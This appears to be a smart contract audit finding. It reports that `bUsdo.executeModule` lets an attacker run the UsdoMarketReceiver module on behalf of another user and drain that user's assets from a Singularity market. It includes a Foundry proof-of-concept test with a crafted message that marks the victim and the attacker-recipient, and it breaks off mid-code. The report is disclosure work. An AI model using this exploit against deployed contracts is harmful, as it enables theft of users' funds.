MEDIUM severity: The `executeModule` function in the `bUsdo` contract is vulnerable to unauthorized execution of arbi. The `executeModule` function in the `bUsdo` contract is vulnerable to unauthorized execution of arbitrary modules. This allows an attacker to execute the `UsdoMarketReceiver` module on behalf of another user, effectively stealing their assets from the Singularity market.\n\nThe `executeModule` funct...

Vulnerable code:
```\nbUsdo.executeModule(\n    IUsdo.Module.UsdoMarketReceiver,\n    abi.encodeWithSelector(\n        UsdoMarketReceiverModule.removeAssetReceiver.selector,\n        marketMsg_\n    ),\n    false)\n```\n```\nMarketRemoveAssetMsg({\n    user: address(userB), // victim\n    externalData: ICommonExternalContracts({\n        magnetar: address(magnetar),\n        singularity: address(singularity),\n        bigBang: address(0),\n        marketHelper: address(marketHelper)\n    }),\n    removeAndRepayData: IRemoveAndRepay({\n        removeAssetFromSGL: true, // remove from Singularity market\n        removeAmount: tokenAmountSD,\n        repayAssetOnBB: false,\n        repayAmount: 0,\n        removeCollateralFromBB: false,\n        collateralAmount: 0,\n        exitData: IOptionsExitData({\n            exit: false,\n            target: address(0),\n            oTAPTokenID: 0\n        }),\n        unlockData: IOptionsUnlockData({\n            unlock: false,\n            target: address(0),\n            tokenId: 0\n        }),\n        assetWithdrawData: MagnetarWithdrawData({\n            withdraw: true, // withdraw assets\n            yieldBox: address(yieldBox), // where from to withdraw\n            assetId: bUsdoYieldBoxId, // what asset to withdraw\n            unwrap: false,\n            lzSendParams: LZSendParam({\n                refundAddress: address(userB),\n                fee: MessagingFee({\n                    lzTokenFee: 0,\n                    nativeFee: 0\n                }),\n                extraOptions: "0x",\n                sendParam: SendParam({\n                    amountLD: 0,\n                    composeMsg: "0x",\n                    dstEid: 0,\n                    extraOptions: "0x",\n                    minAmountLD: 0,\n                    oftCmd: "0x",\n                    to: OFTMsgCodec.addressToBytes32(address(userA)) // recipient of the assets\n                })\n            }),\n            sendGas: 0,\n            composeGas: 0,\n            sendVal: 0,\n            composeVal: 0,\n            composeMsg: "0x",\n            composeMsgType: 0\n        }),\n        collateralWithdrawData: MagnetarWithdrawData({\n            withdraw: false,\n            yieldBox: address(0),\n            assetId: 0,\n            unwrap: false,\n            lzSendParams: LZSendParam({\n                refundAddress: address(userB),\n                fee: MessagingFee({\n                    lzTokenFee: 0,\n                    nativeFee: 0\n                }),\n                extraOptions: "0x",\n                sendParam: SendParam({\n```\n```\nfunction test_malicious_market_remove_asset() public {\n    uint256 erc20Amount_ = 1 ether;\n\n    // setup\n    {\n        deal(address(bUsdo), address(userB), erc20Amount_);\n        vm.startPrank(userB);\n        bUsdo.approve(address(yieldBox), type(uint256).max);\n        yieldBox.depositAsset(bUsdoYieldBoxId, address(userB), address(userB), erc20Amount_, 0);\n\n        uint256 sh = yieldBox.toShare(bUsdoYieldBoxId, erc20Amount_, false);\n        yieldBox.setApprovalForAll(address(pearlmit), true);\n        pearlmit.approve(\n            address(yieldBox), bUsdoYieldBoxId, address(singularity), uint200(sh), uint48(block.timestamp + 1)\n        );\n        singularity.addAsset(address(userB), address(userB), false, sh);\n        vm.stopPrank();\n    }\n\n    uint256 tokenAmount_ = 0.5 ether;\n\n    // Actions\n    uint256 tokenAmountSD = usdoHelper.toSD(tokenAmount_, aUsdo.decimalConversionRate());\n\n    // Approve magnetar\n    vm.startPrank(userB);\n    bUsdo.approve(address(magnetar), type(uint256).max);\n    singularity.approve(address(magnetar), type(uint256).max);\n    vm.stopPrank();\n\n    MarketRemoveAssetMsg memory marketMsg = MarketRemoveAssetMsg({\n        user: address(userB),\n        externalData: ICommonExternalContracts({\n            magnetar: address(magnetar),\n            singularity: address(singularity),\n            bigBang: address(0),\n            marketHelper: address(marketHelper)\n        }),\n        removeAndRepayData: IRemoveAndRepay({\n            removeAssetFromSGL: true,\n            removeAmount: tokenAmountSD,\n            repayAssetOnBB: false,\n            repayAmount: 0,\n            removeCollateralFromBB: false,\n            collateralAmount: 0,\n            exitData: IOptionsExitData({exit: false, target: address(0), oTAPTokenID: 0}),\n            unlockData: IOptionsUnlockData({unlock: false, target: address(0), tokenId: 0}),\n            assetWithdrawData: MagnetarWithdrawData({\n                withdraw: true,\n                yieldBox: address(yieldBox),\n                assetId: bUsdoYieldBox\n```